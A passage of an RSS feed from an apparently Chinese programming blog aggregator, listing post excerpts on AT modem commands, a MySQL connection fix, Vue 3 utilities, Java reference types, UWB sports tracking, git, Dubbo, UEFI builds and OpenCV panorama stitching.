code&#xA;快捷键是Alt+z&#xA;只支持部分语言，如C和C++</description>
    </item>
    <item>
      <title>网络模块AT指令集</title>
      <link>https://bchobby.github.io/posts/89f56bb002da5e398db398857682ba3d/</link>
      <pubDate>Thu, 06 Apr 2023 15:36:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89f56bb002da5e398db398857682ba3d/</guid>
      <description>一． 一般命令&#xA;1．AT+CGMI 给出模块厂商的标识。&#xA;2．AT+CGMM 获得模块标识。这个命令用来得到支持的频带（GSM 900，DCS 1800 或&#xA;PCS 1900）。当模块有多频带时，回应可能是不同频带的结合。&#xA;3．AT+CGMR 获得改订的软件版本。&#xA;4．AT+CGSN 获得GSM 模块的IMEI（国际移动设备标识）序列号。&#xA;5．AT+CSCS 选择TE 特征设定。这个命令报告TE 用的是哪个状态设定上的ME。ME&#xA;于是可以转换每一个输入的或显示的字母。这个是用来发送.读取或者撰写短信。&#xA;6．AT+WPCS 设定电话簿状态。这个特殊的命令报告通过TE 电话簿所用的状态的ME。&#xA;ME 于是可以转换每一个输入的或者显示的字符串字母。这个用来读或者写电话簿的入口。&#xA;7．AT+CIMI 获得IMSI。这命令用来读取或者识别SIM 卡的IMSI （国际移动签署者标识）。&#xA;在读取IMSI 之前应该先输入PIN（如果需要PIN 的话）。&#xA;8．AT+CCID 获得SIM 卡的标识。这个命令使模块读取SIM 卡上的EF-CCID 文件。&#xA;9．AT+GCAP 获得能力表。（支持的功能）&#xA;10．A/ 重复上次命令。只有A/命令不能重复。这命令重复前一个执行的命令。&#xA;11．AT+CPOF 关机。这个特殊的命令停止GSM 软件堆栈和硬件层。命令AT+CFUN=0&#xA;的功能与+CPOF 相同。&#xA;12．AT+CFUN 设定电话机能。这个命令选择移动站点的机能水平。&#xA;13．AT+CPAS 返回移动设备的活动状态。&#xA;14．AT+CMEE 报告移动设备的错误。这个命令决定允许或不允许用结果码“+CME&#xA;ERROR:”或者“+CMSERROR:”代替简单的“ERROR”。&#xA;15．AT+CKPD 小键盘控制。仿真ME 小键盘执行命令。&#xA;16．AT+CCLK 时钟管理。这个命令用来设置或者获得ME 真实时钟的当前日期和时间。&#xA;17．AT+CALA 警报管理。这个命令用来设定在ME 中的警报日期/时间。（闹铃）&#xA;18．AT+CRMP 铃声旋律播放。这个命令在模块的蜂鸣器上播放一段旋律。有两种旋律可&#xA;用：到来语音.数据或传真呼叫旋律和到来短信声音。&#xA;19．AT+CRSL 设定或获得到来的电话铃声的声音级别。&#xA;二． 呼叫控制命令</description>
    </item>
    <item>
      <title>Vscode插件SQLTools无法链接mysql： ERROR: Error opening connection connect ECONNREFUSED 127.0.0.1:3306</title>
      <link>https://bchobby.github.io/posts/dae9d6f3bdb413db9579d71662c5722c/</link>
      <pubDate>Thu, 06 Apr 2023 15:31:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dae9d6f3bdb413db9579d71662c5722c/</guid>
      <description>今天我在用下面的VS插件SQLTools链接mysql的时候，遇到了无法链接的问题：&#xA;MYSQL版本我用的是8.0，经过下面的配置会报如下错误：&#xA;配置信息如下：&#xA;报错信息如下：ERROR (ls): Connecting error: {&#34;code&#34;:-1,&#34;data&#34;:{&#34;driver&#34;:&#34;MySQL&#34;,&#34;driverOptions&#34;:{&#34;mysqlOptions&#34;:{&#34;authProtocol&#34;:&#34;default&#34;}}},&#34;name&#34;:&#34;Error&#34;} 解决方法： 先确保下载了mysql:&#xA;Linux 安装Mysql 详细教程（图文教程）-CSDN博客&#xA;如果确认mysql已经下载完成，那么大概率该问题是因为打开了skip-networking。开启该选项可以彻底关闭 MySQL 的 TCP/IP 连接方式，如果 WEB 服务器是以远程连接的方式访问 MySQL 数据库服务器则不要开启该选项！否则将无法正常连接！ 如果所有的进程都是在同一台服务器连接到本地的 mysqld, 这样设置将是增强安全的方法。&#xA;我们可以先进入到mysql中来查看skip-networking是否是ON状态。&#xA;show variables like &#39;skip_networking&#39;; show variables like &#39;port&#39;; 如果是ON那么这就是为什么vs无法链接的原因，我们需要关闭skip_networking。&#xA;我们可以用show variables like &#39;port&#39;;查看端口信息,目前大概率是0。&#xA;知道了问题出在哪后我们就可以来修改my.cnf配置文件，由于我使用的是mysql8.0该版本在/etc/目录下是没有自动生成的my.cnf配置文件，该配置文件在/etc/mysql目录下，所以我们需要进入/etc/mysql运行下面语句&#xA;sudo vim my.conf 将下面内容复制到你的my.conf文件中&#xA;[mysqld] bind-address=0.0.0.0 port=3306 user=mysql basedir=/usr/local/mysql datadir=/data/mysql socket=/tmp/mysql.sock log-error=/data/mysql/mysql.err pid-file=/data/mysql/mysql.pid #character config character_set_server=utf8mb4 symbolic-links=0 explicit_defaults_for_timestamp=true skip_networking=off 这里需要注意请确保你的/etc目录下没有你自己创建的my.conf，否则你要把内容加到该文件中，因为。MySQL读取各个my.cnf配置文件的先后顺序是：&#xA;/etc/my.cnf&#xA;/etc/mysql/my.cnf&#xA;/usr/local/mysql/etc/my.cnf&#xA;~/.my.cnf&#xA;这时我们再运行如下sql语句：&#xA;show variables like &#39;skip_networking&#39;; show variables like &#39;port&#39;; 可以看到目前已经设置成功了。</description>
    </item>
    <item>
      <title>vue3.0 ts 前端利用HTML2canvas与JSpdf插件实现将页面保存为pdf格式下载</title>
      <link>https://bchobby.github.io/posts/a400490843b7e994281948bbc4895e72/</link>
      <pubDate>Thu, 06 Apr 2023 14:54:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a400490843b7e994281948bbc4895e72/</guid>
      <description>vue3.0 ts 前端利用HTML2canvas与JSpdf插件实现将页面保存为pdf格式下载 话不多说 先看效果&#xA;安装html2Canvas 与JsPDF npm install --save html2canvas&#xA;npm install --save jspdf&#xA;html 代码 &amp;lt;a-button @click=&#34;weeklyReport(‘周报’)&#34;&amp;gt;周报&amp;lt;/a-button&amp;gt; &amp;lt;div id=&#34;capture&#34;&amp;gt; &amp;lt;!-- 页面组件 --&amp;gt; &amp;lt;WeeklyReport&amp;gt;&amp;lt;/WeeklyReport&amp;gt; &amp;lt;/div&amp;gt; js代码 &amp;lt;script lang=&#34;ts&#34; setup&amp;gt; import { reactive, ref, createVNode, onMounted } from &#39;vue&#39; import htmlToPdf from &#39;@/utils/pdf&#39;//引入封装好的ts文件 const weeklyReport = (text:string) =&amp;gt; { console.log(&#39;生成周报&#39;) htmlToPdf(text, &#39;#capture&#39;) } &amp;lt;/script&amp;gt; 这里我封装了一个ts 直接将此ts引入即可 import html2Canvas from &#39;html2canvas&#39; import JsPDF from &#39;jspdf&#39; // title:下载文件的名称 htmlId:包裹的标签的id const htmlToPdf = (title: string, htmlId: string) =&amp;gt; { var element = document.</description>
    </item>
    <item>
      <title>三十四、java中的引用</title>
      <link>https://bchobby.github.io/posts/49096abae411125c345f7f1634389dfe/</link>
      <pubDate>Thu, 06 Apr 2023 14:27:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49096abae411125c345f7f1634389dfe/</guid>
      <description>一、概述 我们希望能描述这样一类对象：当内存空间还足够时，则能保留在内存中；如果内存呢空间在进行垃圾收集后还是很紧张，则可以抛弃这些对象。&#xA;在JDK1.2半之后，Java对引用的概念进行了扩充，将引用分为强引用（Strong Reference）、软引用(Soft Reference)、弱引用(Weak Reference)和虚引用(Phantom Reference)4种，这4种强度一次逐渐减弱。&#xA;除强引用外，其他3种引用均可以在java.lang.ref包中找到它们的身影。如下图，显示了这3种引用类型对应的类，开发人员可以在应用程序中直接使用它们。&#xA;1.强引用（StrongReFerence）：最传统的“引用”的定义，是指在程序代码之中普遍存在的引用赋值，即类似“Object obj = new Object()”这种引用关系。无论任何情况下，只要强引用关系还存在，垃圾收集器就永远不会回收掉被引用的对象。&#xA;2.软引用(SoftReference)：在系统将要发生内存溢出之前，将会把这些对象列入回收范围之中进行第二次回收，如果这次回收后还没有足够的内存，才会抛出内存溢出异常。&#xA;3.弱引用（WeakReference）：被弱引用关联的对象只能生存到下一次垃圾收集之前，当垃圾收集工作时，无论内存空间是否足够，都会回收掉被弱引用关联的对象。&#xA;4.虚引用（PhantomReference）：一个对象是否有虚引用的存在，完全不会对其生存时间构成影响，也无法通过虚引用来获得一个对象的实例。为一个对象设置虚引用关联的唯一目的就是能在这个对象被收集器回收时收到一个通知。&#xA;5.在JAVA程序中，最常见的引用类型是强引用（普通系统99%以上都是强引用），也就是我们最常见的普通对象引用，也是默认的引用类型。&#xA;6.当在Java语言中使用new操作创建一个新的对象，并将其赋值给一个变量的时候，这个变量就成为指向该对象的一个强引用。&#xA;7.强引用的对象是可触及的，垃圾收集器就永远不会回收掉被引用的对象。&#xA;8.对于一个普通的对象，如果没有其他的引用关系，只要超过了引用的作用域或者显式的将相应引用赋值为null,就是可以当作垃圾被收集了，当然具体回收时机还是要看垃圾收集策略。&#xA;9.相对的，软引用、弱引用和虚引用的对象是软可触及的、弱可触及的和虚可触及的，在一定条件下，都是可以被回收的。所以，强引用时造成Java内存泄漏的主要原因之一。&#xA;强引用&#xA;/** * 强引用的测试 * * @author * @create */ public class StrongReferenceTest { public static void main(String[] args) { StringBuffer str = new StringBuffer (&#34;Hello&#34;); StringBuffer str1 = str; str = null; System.gc(); try { Thread.sleep(3000); } catch (InterruptedException e) { e.printStackTrace(); } System.out.println(str1); } } 软引用</description>
    </item>
    <item>
      <title>UWB高精度定位落地：UWB助力体育领域的应用探索（足球比赛，体能测试）</title>
      <link>https://bchobby.github.io/posts/f0c0dd00d875c94ca91d2337c70b81b4/</link>
      <pubDate>Thu, 06 Apr 2023 14:24:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0c0dd00d875c94ca91d2337c70b81b4/</guid>
      <description>一、UWB体育运动场景测试 来源：Experimental Evaluation of UWB Indoor Positioning for Sport Postures（比利时根特大学）&#xA;UWB室内定位系统在运动员复杂运动过程中跟踪运动员的能力，分析了人体标签放置位置和人体运动模式对定位精度和通信可靠性的影响。 标签放置位置影响&#xA;测试方案：标签佩戴人体不同的9个部位，周围有8个固定的锚节点(编号从0到7)，标签位于半径为2m的圆的中心。&#xA;由于人体会对电磁波产生吸收和反射的效应，同时每个标签的天线和接收天线的角度差异性，导致不同部位的标签表现不同。采用三个指标进行评估：精度、丢包率和可见锚的数量。&#xA;当标签位于用户头上时，所有锚节点上的平均丢包率为1.45%。而当标签放在胸部时，UWB信号被人体阻挡，在某些情况下，超过50%的测距包丢失。&#xA;以丢包率小于10%来定义锚节点的可用性，大多数标签位置可以有至少6个锚节点可用，这使得这些标签位置适合用于位置估计。&#xA;通过放置在头部的标签来进行来进行精度测试，可以研究所有可见锚节点是否具有同等质量。如果将丢包率与平均测距误差相结合，高丢包率并不一定会导致较低的精度。在标签放置在头部的情况下，锚4在测距过程中的丢包率最高，为4.8%，但在平均测距误差为16.85cm的情况下，它的测距精度并不是最差的。&#xA;体育运动的影响&#xA;评估当标签贴在身体的不同部位时不同姿态对测距误差的影响。关注四种姿态：站立，深蹲，弯腰，俯卧在地上。&#xA;实验收集了标签和所有8个锚节点之间的测距测量值。然后对数据进行处理，并从精度和丢包率的角度分析结果。&#xA;标签放置在头部的性能是最优的，该位置的丢包率和平均测距误差都是最小的。因此，针对头部的标签，还进行了加速跑和跳跃两项额外的测试。虽然与静止情况相比，丢包率从8%提升到了17%，但测距误差是相当的，加速情况下的平均误差为14.5cm，跳跃和静止情况下的平均误差分别为14.8cm和13.9cm。&#xA;UWB定位算法 使用卡尔曼和粒子滤波融合来自不同传感器（如UWB和IMU）的信息，实现对物体或人的跟踪。卡尔曼滤波不适合于非线性系统，通常采用扩展卡尔曼滤波和无迹卡尔曼滤波对非线性系统进行建模。另一方面，粒子滤波虽然能更好地处理非线性系统，但它需要更多的计算能力。&#xA;为了评估粒子和卡尔曼滤波的性能，实现采用一条8字形的路径，同时用UWB标签和动作捕捉系统采集测量数据。&#xA;粒子和卡尔曼滤波都能够遵循正确的路径。另外，对于粒子滤波来说，大多数的测量误差在30cm以下，有50%的时间误差小于10cm。另一方面，卡尔曼滤波有50%的时间误差小于17cm。&#xA;大场景的测试&#xA;为了覆盖整个赛道，需要28个锚节点。自行车运动员在头盔上佩戴移动标签，对运动员的表现几乎没有影响。骑行一圈参考时间约为27s，近似速度为9m/s。&#xA;室内跑步&#xA;在一条长60米，有三条赛道的直线跑道上进行测试。部署的锚的数量减少到10个，运动员将标签佩戴在侧臂上。根据之前的研究结果，侧壁从丢包率和精度来看是第三好的选择。虽然在跑步过程中，手臂相对于身体重心移动得更明显，但这个位置确保了跑步者的最佳舒适感。&#xA;可以看出运动员显然处于第一条赛道（4m&amp;lt;y&amp;lt;5m）。由于标签位于手臂上，估计值略偏向上。即使在这种情况下，算法也可以精确地跟踪跑步者。然而，粒子滤波似乎不太精确，估计值有时比卡尔曼滤波更分散。&#xA;结论&#xA;UWB被认为是获得厘米级位置估计值最有前途的技术之一。随着价格低廉的UWB芯片的商业化，这项技术得到了更多的普及。UWB是一个很好的体育分析和跟踪市场的候选。&#xA;原文信息&#xA;Matteo R , Stef V , Jense D , et al. Experimental Evaluation of UWB Indoor Positioning for Sport Postures[J]. Sensors, 2018, 18(2):168. DOI: 10.3390/s18010168&#xA;二、UWB产品体育领域实际应用 UWB和足球训练&#xA;采用了超宽带无线通信技术（UWB）进行数据传输，将定位精确度精准到厘米级，这一技术利用足球人工智能算法，准确的计算出在训练和比赛中球员的体能负荷、运动表现、技战术配合等等上百项足球数据，将科技带入校园足球 。&#xA;通过多维度数据监测，评估球员体能与运动表现，分析团队及战术数据，以此为选拔优秀足球人才提供依据、为教练制定足球训练教案提供参考。&#xA;通过先进的精准定位技术、核心精确算法、世界级球队数据分析经验，以可视化图表数据形式呈现足球训练与赛事。&#xA;通过技术的创新，提升了足球运动的乐趣性与专业化，让每一个有足球梦想的青少年都能够使用。同时，我们为每一位使用者建立了永久性的数据档案，进而建立整个足球领域的大数据，为中国足球产业带来革命性的变化。&#xA;通过先进的科学技术，让足球运动数字化、专业化、科学化、趣味化。建立健全校园足球及各个球员的档案，为科学的训练，客观的评定和选拔人才做数据标准，更全面、科学的数据为教练的临场指挥和比赛总结提供科学依据。&#xA;UWB应用于世界杯官方用球&#xA;这一技术由一家名为KINEXON的德国物联网公司提供，通过每秒500次自动提供准确的足球相关信息，如足球的初始速度、运行速度、运动角度等，使比赛裁判和官员能够快速查看现场数据，并将有助于通知越位情况，并协助检测有争议的冲撞，从而最终提高VAR决策过程的质量和速度。&#xA;作为物联网技术厂商，KINEXON为足球比赛提供了一整套物联网解决方案。</description>
    </item>
    <item>
      <title>vue3中的全局防抖节流指令</title>
      <link>https://bchobby.github.io/posts/44eb1840aec9545ebb4ee20d8d84d46d/</link>
      <pubDate>Thu, 06 Apr 2023 14:19:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44eb1840aec9545ebb4ee20d8d84d46d/</guid>
      <description>适用场景，一般业务当中存在查询、新增、编辑等操作类型，使用防抖有效防止疯狂点击增加多条数据问题&#xA;// 定义全局自定义指令 app.directive(&#34;antiShake&#34;, { // 在元素的 attribute 或事件监听器被应用之前调用 created(el, binding,) { let cbFun: NodeJS.Timeout|null = null; el.addEventListener(&#34;click&#34;, (event:any) =&amp;gt; { event &amp;amp;&amp;amp; event.stopImmediatePropagation(); if (!cbFun) { cbFun = setTimeout(() =&amp;gt; { binding.value() }, 2000); } else { clearTimeout(cbFun); cbFun = setTimeout(() =&amp;gt; { binding.value() }, 2000); } }, true) }, }); //节流函数 app.directive(&#34;throttle&#34;, { created(el, binding,) { let throtTime = binding.value; if (!throtTime) { throtTime = 2000 } let cbFun: NodeJS.</description>
    </item>
    <item>
      <title>uni中使用vuex</title>
      <link>https://bchobby.github.io/posts/0fccdf717ad3ab45da3c642f22000bad/</link>
      <pubDate>Thu, 06 Apr 2023 09:57:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fccdf717ad3ab45da3c642f22000bad/</guid>
      <description>1.在根目录下创建store文件夹，并创建index.js文件&#xA;2.index.js文件和vue中的store的index.js文件一样&#xA;import Vue from &#39;vue&#39;; import Vuex from &#39;vuex&#39; Vue.use(Vuex) const store = new Vuex.Store({ state: { data:&#34;data&#34; }, getters: { }, mutations: { }, actions: { }, modules: { } }) export default store 3.在main.js文件中引入store,并添加到实例中&#xA;import store from &#34;store/index.js&#34; const app = new Vue({ ...App, store }) 4.使用方法和vue一样</description>
    </item>
    <item>
      <title>pytorch安装失败，torch.cuda.is_available()报错False</title>
      <link>https://bchobby.github.io/posts/366d2d40ef614711d4674f19c4b16866/</link>
      <pubDate>Wed, 05 Apr 2023 18:57:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/366d2d40ef614711d4674f19c4b16866/</guid>
      <description>首先说下配置&#xA;笔记本 3060&#xA;安装时间，2023年4月5日14:44:25&#xA;根据网上教程安装&#xA;史上最成功安装Pytorch快速方法【亲测绝对有效，很好用很好用】_曲线的拐点_逆风飞扬fei的博客-CSDN博客&#xA;Windows环境下快速安装anaconda和pytorch、cuda、cuDNN_一只不爱晒太阳的猫的博客-CSDN博客&#xA;结果安装失败，失败结果直接上图&#xA;直接报错，False&#xA;研究了半天。&#xA;首先输入&#xA;pip list 看一下我们的torch和torchvision 版本&#xA;然后去官网查看一下版本对应关系，发现python支持3.7.2以上&#xA;而我的是 3.7.12版本....... 下面直接尝试安装 3.8的python&#xA;自己看上边的教程，安装即可&#xA;结果，，，，还是报错，等我再研究研究&#xA;参考&#xA;torch.cuda.is_available()返回false——解决办法_Nefu_lyh的博客-CSDN博客&#xA;RTX3060（30系显卡）Windows10部署Pytorch深度学习环境步骤与心得_30系显卡安装pytorch_普通网友的博客-CSDN博客&#xA;主要是参考这俩 最后安装whl困扰了我好半天&#xA;如果不行的话&#xA;pip3 试试&#xA;最后放个成功的截图，头秃。。。。</description>
    </item>
    <item>
      <title>IDEA工具避坑指南(十)：git拉取java项目后，拉取后的工程目录下只有.git和.idea文件，没有src或java目录|拉取的maven工程不被识别为maven项目</title>
      <link>https://bchobby.github.io/posts/610c932139fd1f4cbc5cb93dd1ffb05d/</link>
      <pubDate>Wed, 05 Apr 2023 17:26:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/610c932139fd1f4cbc5cb93dd1ffb05d/</guid>
      <description>一、前言 用以上标题，找不到合适方案，经过多篇帖子的阅读和反复尝试，遂有下文！ 说明：本机IDEA版本是2019，其他版可能略有差异。&#xA;二、错误描述 从git上拉取项目后，目录结构如下，缺失想要的src目录&#xA;三、期望效果 四、原因分析 原因可能是多方面的，但是首先想到的应该是拉取工程本身就是这个目录结构。&#xA;1）当前拉取的分支是默认分支，需要拉取的是其他分支，比如master 此时就需要登录git远程仓库看一下（把git的http地址，复制到浏览器地址栏），&#xA;如上图所示验证猜想，该main分支确实什么都没有，通过git自然拉不到所需代码。&#xA;2）切换分支，验证猜想 此时，就足以说明刚才拉取的是默认main分支，实际需要的是master分支。&#xA;五、解决方案 温馨提示：优先选择方案一！&#xA;方案一 如下图所示，点击IDEA右下角“Git:main”图标，依次点击：选择origin/master（自己所需分支）--&amp;gt;Checkout，稍等片刻，关闭IDEA重新打开就可以看到完整的目录了，或者进入项目所在workspace也可以看到完整的目录。&#xA;方案二 使用git clone命令操作&#xA;1) 在workspace下的工程目录下，打开cmd窗口，执行下面git命令&#xA;2) git clone -b 分支名称 git地址&#xA;git clone -b master http://56.122.220.7/root/demo-java.git 方案三 1）选择IDEA菜单栏的VCS，依次操作 VCS--&amp;gt;Git--&amp;gt;Pull--&amp;gt;弹出小窗口--&amp;gt;在Branches to merge:选项下，勾选自己要拉取的分支--&amp;gt;点击下面的pull，正常情况稍等片刻就可以了。&#xA;不出意外的话，意外还是来了……&#xA;2）拉取失败，报refusing to merge错误 错误信息，如下图所示&#xA;Git pull failed refusing to merge unrelated histories （拒绝合并不相关的历史）&#xA;3）解决方法 打开Terminal窗口，执行如下命令：&#xA;git pull origin master --allow-unrelated-histories&#xA;反之，如果在push的时候报refusing to merge unrelated histories （拒绝合并不相关的历史）&#xA;这个错误时，执行如下命令：&#xA;git push origin master --allow-unrelated-histories</description>
    </item>
    <item>
      <title>Dubbo的基本使用（二）</title>
      <link>https://bchobby.github.io/posts/8d493c24372d3f980f86dfd65ac3c6b7/</link>
      <pubDate>Wed, 05 Apr 2023 17:15:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d493c24372d3f980f86dfd65ac3c6b7/</guid>
      <description>目录&#xA;1、Dubbo的基本介绍&#xA;1.1、基本概念&#xA;1.2、RPC&#xA;1.2.1、序列化和反序列化&#xA;2、zookeeper（注册中心）&#xA;2.1、zookeeper 下载&#xA;2.2、zookeper安装使用（window版）&#xA;2.3、zookeper安装使用（Linux版）&#xA;2.3.1、查看ZooKeeper状态&#xA;3、提供者消费者示例&#xA;3.1、spring搭建dubbo示例&#xA;3.2、Springboot搭建dubbo示例&#xA;3.2.1、搭建dubbo-interface 模块&#xA;3.2.2、搭建dubbo-provider模块&#xA;3.2.3、搭建dubbo-consumer模块&#xA;4、zookeeper管理控制台（dubbo-admin）&#xA;4.1、dubbo-admin的安装使用&#xA;4.1.1、dubbo-admin下载打包&#xA;4.1.2、启动前后端&#xA;4.2、dubbo-admin的基本使用&#xA;参考资料：&#xA;​​​​​​​1、Dubbo的基本介绍 Dubbo 是阿里巴巴公司开源的一个高性能、轻量级的 Java RPC 框架。 它提供了三大核心能力：面向接口的远程方法调用，智能容错和负载均衡，以及服务自动注册和发现。 dubbo 的作用简单来说就是给消费端提供接口。&#xA;当前dubbo版本: 3.0.4&#xA;模块名称模块介绍dubbo-registry-api包含注册中心所有API和抽象实现类dubbo-registry-kubernetes在kubernetes中注册中心的实现dubbo-registry-dns使用dns作注册中心的实现dubbo-registry-multicastmulticast模式的服务的注册和发现dubbo-registry-multiple多注册中心模式下服务的注册和发现dubbo-registry-nacos使用Nacos作为注册中心的实现dubbo-registry-xdsService-mesh模式下服务的注册和发现（Service mesh）dubbo-registry-zookeeper使用ZooKeeper作为注册中心的实现 1.1、基本概念 服务提供者（Provider）：暴露服务的服务提供方，服务提供者在启动时，向注册中心注册自己提供的服务。服务消费者（Consumer）: 调用远程服务的服务消费方，服务消费者在启动时，向注册中心订阅自己所需的服务，服务消费者，从提供者地址列表中，基于软负载均衡算法，选一台提供者进行调用，如果调用失败，再选另一台调用。注册中心（Registry）：注册中心返回服务提供者地址列表给消费者，如果有变更，注册中心将基于长连接推送变更数据给消费者监控中心（Monitor）：服务消费者和提供者，在内存中累计调用次数和调用时间，定时每分钟发送一次统计数据到监控中心 调用关系说明：&#xA;服务容器负责启动，加载，运行服务提供者。服务提供者在启动时，向注册中心注册自己提供的服务。服务消费者在启动时，向注册中心订阅自己所需的服务。注册中心返回服务提供者地址列表给消费者，如果有变更，注册中心将基于长连接推送变更数据给消费者。服务消费者，从提供者地址列表中，基于软负载均衡算法，选一台提供者进行调用，如果调用失败，再选另一台调用。 1.2、RPC RPC（Remote Procedure Call）是一种进程间通信方式。简单地说就是能使应用像调用本地方法一样的调用远程的过程或服务，可以应用在分布式服务、分布式计算、远程服务调用等许多场景。业界有很多开源的优秀 RPC 框架，例如 Dubbo、Thrift、gRPC、Hprose 等等。&#xA;RPC 与 HTTP、RMI、Web Service 都能完成远程调用，但是实现方式和侧重点各有不同。&#xA;RPC是一种协议规范，可以把HTTP看作是一种RPC的实现，也可以把HTTP作为RPC的传输协议来应用。与HTTP相比，RPC的缺点就是相对复杂，学习成本稍高。&#xA;1.2.1、序列化和反序列化 什么是序列化？序列化就是将数据结构或对象转换成二进制串的过程，也就是编码的过程什么是反序列化？将在序列化过程中所生成的二进制串转换成数据结构或对象的过程为什么需要序列化？转换为二进制串才好进行网络传输嘛为什么需要反序列化？将二进制串转换成对象才好进行后续处理嘛 2、zookeeper（注册中心） Zookeeper是一个高性能的，分布式的，开放源码的分布式应用程序协调服务，简称zk。&#xA;2.1、zookeeper 下载 下载可在官网下载，如 3.4.11 地址参考：Index of /dist/zookeeper/zookeeper-3.4.11&#xA;2.2、zookeper安装使用（window版） ZooKeeper服务器是用Java创建的，它运行在JVM之上。需要安装JDK 7或更高版本。</description>
    </item>
    <item>
      <title>[功能点]IDEA导入SQL脚本文件</title>
      <link>https://bchobby.github.io/posts/709217766c7628d9091b372917732d30/</link>
      <pubDate>Wed, 05 Apr 2023 15:18:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/709217766c7628d9091b372917732d30/</guid>
      <description> </description>
    </item>
    <item>
      <title>UEFI基本概念</title>
      <link>https://bchobby.github.io/posts/dbb04da1fe73ec7e8721e59fa8d25cc0/</link>
      <pubDate>Wed, 05 Apr 2023 13:36:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dbb04da1fe73ec7e8721e59fa8d25cc0/</guid>
      <description>UEFI基本概念 UEFI 1. BIOS UEFI和之前的BIOS作用一样，只不过更先进了。一般我们自己装系统都会进BIOS，开机按F12等等，然后设置启动路径为U盘，用U盘装系统，不过现在windows支持在线更新系统了，估计U盘启动以后不需要再学了。&#xA;BIOS “Basic Input Output System” “基本输入输出系统”。 BIOS是启动时加载的第一个软件。&#xA;是固化到计算机内主板上一个ROM芯片上的程序，比如我们安了内存条，固态，开机自检就是BIOS负责的。&#xA;明确记住，BIOS也是一个程序，一个软件，只不过能和硬件直接交互。&#xA;2. UEFI 2.1 概念 统一可扩展固件接口（Unified Extensible Firmware Interface，UEFI）是一种电脑系统规格，用来定义操作系统与系统固件之间的软件界面，作为BIOS的替代方案。主要负责加电自检（POST）、联系操作系统以及提供连接操作系统与硬件的接口。&#xA;一般认为，UEFI由以下几个部分组成：&#xA;Pre-EFI初始化模块EFI驱动程序执行环境EFI驱动程序兼容性支持模块（CSM）EFI高层应用GUID磁盘分区表 先大致了解基本概念，这里需要强调的是UEFI只是一种规范，并没有具体的实现！是一种详细描述类型接口的标准。&#xA;所以定义了标准，实现就有各种各样的实现了。不同的厂商对UEFI有不同的实现，用的最多就是edk2，高通的ABL侧也是edk2，EDK2是一个遵循UEFI标准和PI标准的跨平台固件开发环境，EDK2支持多种操作系统, 也支持跨平台编译。&#xA;edk2 github官网文件夹叫tianocore/edk2。&#xA;源代码下bootable/bootloader/edk2 , 然后在此基础上做自己的改动。&#xA;2.2 SOC和UEFI SOC和UEFI的关系可以看英特尔官网的这个对比，准确来说应该是SOC和BootLoader的关系：&#xA;https://www.intel.cn/content/www/cn/zh/support/programmable/support-resources/design-guidance/soc-bootloader.html&#xA;UEFI也属于一种bootloader的规范。fastboot就是一个UEFI应用。&#xA;2.3 高通的UEFI 这篇文章也写的不错，高通的uefi分为xbl和abl两部分，abl侧就是edk2，xbl比较麻烦，包括以前老的lk也在xbl里面。&#xA;https://www.cnblogs.com/schips/p/qualcomm_about_uefi.html&#xA;3. UEFI的编译 有几个错误，&#xA;3.1 首先需要编译 编译代码的工具&#xA;参考：https://blog.csdn.net/Lq19880521/article/details/82788367&#xA;然后又报错找不到文件，看了一下报错的文件夹是空的，应该得单独下载，网上百度了一下，果然是最近版本有问题&#xA;3.2 build 有了工具就能使用build了，build前需要先source一下，配置一下路径&#xA;编译错误，还是缺少上面那个文件夹，单独clone&#xA;JZ是累加器A判零条件转移指令&#xA;这汇编指令错误，看错误像是指令不支持，百度了一下，是nasm版本不匹配导致，但是这个报错信息完全没用啊&#xA;错误解答：https://edk2.groups.io/g/devel/topic/89637409#87359&#xA;百度nasm是什么，&#xA;Netwide Assembler （简称 NASM）是一款基于x86架构的汇编与反汇编软件。它可以用来编写16位（8086、80286等）、32位（IA-32）和64位（x86_64）的程序。 NASM被认为是Linux平台上最受欢迎的汇编工具之一。&#xA;终端无法更新nasm，只能去网站下载，本地编译安装&#xA;https://www.nasm.us/pub/nasm/releasebuilds/2.15.05/&#xA;再次build，成功，哦对了，我这里修改了默认的编译平台，如果不修改的话，估计还是报错，需要指定平台和架构，看edk2官网的教程就可以。&#xA;3.3 文件后缀的含义 fdf：flash definitionfile，描述flash分区地址范围</description>
    </item>
    <item>
      <title>全景拼接python旗舰版</title>
      <link>https://bchobby.github.io/posts/01e11313cbe70f803f0ac356571225aa/</link>
      <pubDate>Wed, 05 Apr 2023 10:20:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01e11313cbe70f803f0ac356571225aa/</guid>
      <description>前言 在这个项目中，您将构建一个管道，将几幅图像拼接成一个全景图。您还将捕获一组您自己的图像来报告最终的结果。&#xA;步骤1 特征检测与描述🍉 本项目的第一步是对序列中的每幅图像分别进行特征检测。回想一下我们在这个类中介绍过的一些特征探测器：哈里斯角、Blob探测器、SIFT探测器等。与检测步骤相结合，就进行了特征描述。您的特性必须对某些转换是不变的。想想你将收集数据集的方式。你需要什么样的不变性？探索在OpenCV中可用的特性描述符实现： SIFT、SURF、ORB等&#xA;1.使用cv2.imread读取输入的图像。&#xA;2.将图像转换为灰度（例如，使用cv2.cvtColor）以进行特征提取。您也可以通过cv2.resize调整图像的大小（例如，在参考约塞米蒂序列中那样的480像素的高度），以使以下步骤运行得更快。&#xA;3.选择您的特征检测器。cv2是一个很好的开始。SIFT_create(或cv2.xfeatures2d。SIFT_Creve在旧的OpenCV版本中)。&#xA;4.使用检测和计算方法提取关键点和关键点特征。&#xA;5.图1使用cv2.drawKeypoints可视化了检测到的关键点：&#xA;def flt_show(image, title=&#39;sift detects&#39;): plt.figure(figsize=(10,10)) # Canvas 10x magnification plt.title(title,fontsize=20) # title plt.axis(&#39;off&#39;) # Hidden axis plt.imshow(cv2.cvtColor(image,cv2.COLOR_BGR2RGB)) # print image plt.show() # Display canvas # 1. Read the input images using cv2.imread. def feature_detection_and_description(image_path): image = cv2.imread(image_path) # RGB to Gray image = cv2.cvtColor(image,cv2.COLOR_BGR2GRAY) # Create 